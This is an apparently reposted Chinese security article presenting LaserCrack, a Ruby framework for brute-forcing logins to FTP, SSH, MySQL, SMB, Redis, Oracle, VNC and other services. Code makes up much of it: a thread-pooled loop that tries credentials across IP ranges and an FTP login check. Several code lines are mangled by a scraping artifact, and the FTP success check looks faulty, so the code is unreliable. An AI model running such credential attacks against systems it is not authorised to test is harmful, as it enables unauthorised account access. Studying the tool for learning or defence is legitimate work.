LaserCrack:一款可扩展的暴力破解框架
source link: http://www.freebuf.com/sectool/176203.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
0×01 简单说明
lasercrack是一款爆力破解工具,现如今市面上常见的暴力工具如hydra,medusa都有着不错的破解效率,不过我还没有找到ruby写的,一方面是想从原理上理解下暴力破解漏洞,另一方面练习一下ruby语言。此工具配置成交互式终端界面,服务爆破脚本可自定义。
0×02 工具结构
主目录中lasercrack.rb控制整体流程,接受用户参数并作出响应。
utils目录中framework.rb是框架核心文件,控制与线程池相关,提供了三种方式的爆破,即单用户<=>单密码,单用户<=>多密码,单密码<=>多用户,目前暂不支持的多用户<=>多密码。其余文件是服务爆破相关文件,其中分为service.rb和serviceattack.rb。
0×03 源码说明
初始化函数定义了一些基本变量可以让用户自行设置,同时载入所有可用的服务爆破类。
def initialize @module = "nil" @ip = "nil" @port = 0 @username = "nil" @password = "nil" @user_file = "nil" @pass_file = "nil" @verbose = false @threads = 10 @timeout = 10 @exploithash = { "ftp" => FtpAttack.new, "ssh" => SshAttack.new, "mysql" => MysqlAttack.new, "mssql" => MssqlAttack.new, "smb" => SmbAttack.new, "redis" => RedisAttack.new, "mongo" => MongoAttack.new, "telnet" => TelnetAttack.new, "oracle" => OracleAttack.new, "vnc" => VncAttack.new, } end
参数校验函数针对用户输入或未输入的信息进行判断可以使用哪种爆破模式,对还未达到利用条件的参数抛出未定义。
def checkarg flag = true if @user_file == "nil" and @pass_file == "nil" puts "[*] Exploit by ip/ips..".light_blue tmphash = {"ip" => @ip, "port" => @port, "username" => @username, "password" => @password} tmphash.each {|key, value| if value == "nil" or value == 0 tmpstr = "[-] "+key+" => "+value.to_s+" ".light_red puts tmpstr.light_red flag = false end } else return false end return flag end
爆力破解函数载入线程池并批量对服务进行穷举尝试。其中在verbose为false的情况下使用processbar模块动态显示进程条信息。
def exploit_ips_template $semaphore = Mutex.new $COUNTER = 0 $OFFSET = 0 puts "[*] Starting crack the #{@module}..".light_blue puts "[*] target ip: "[email protected]_blue puts "[*] target port: "[email protected]_blue @exploithash.each { |key, value| if key == @module iplist = checkcidr_iprange if not iplist.nil? pool = ThreadPool.new(@threads) exploitips = value iplist.each { |item| pool.process { if exploitips.attack_once(item, @port.to_i, @username, @password, @timeout) result = "[+] Crack it!"+" "*6+item+" "*6+@username+":"+@password $OFFSET += 1 $semaphore.lock puts result.light_green $semaphore.unlock else if @verbose $semaphore.lock puts "["+getnow+"]".light_white+" "*6+"Not found! ==> "+item.light_red $semaphore.unlock else $semaphore.lock progressbar = ProgressBar.create(:format => 'Processing: |%b>>%i| %p%% %t', :starting_at => $COUNTER, :total => iplist.length-$OFFSET-1) $semaphore.unlock $COUNTER += 1 sleep 0.05 if progressbar.finished? puts "finished".light_blue end end end } } gets end end } end
服务登录验证函数对用户提供的信息进行验证,返回true或false表明是否可登录成功。用ftp举例,其他服务脚本类似,不做赘述。
def hit begin ftp = Net::FTP.new ftp.read_timeout = @timeout ftp.open_timeout = @timeout ftp.connect(@ip, @port) ftp.login(@user, @password) result = ftp.lastresp ftp.close if result == "200" return true else return false end rescue return false end end
0×04 样例测试
测试本地mysql。
由于字典比较小很快就可以出结果。
设置verbose为true,显示攻击详细信息。
0×05 扩展支持服务
如需自己扩充暴力破解服务,需要修改下面几个地方:
lasercrack.rb中将对应的服务添加到数组和字典中,字典里指定对应的端口信息。
framework.rb中引入对应的attack文件,默认都在utils目录中编写。
同时init函数中添加exploithash,show函数中增加显示。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK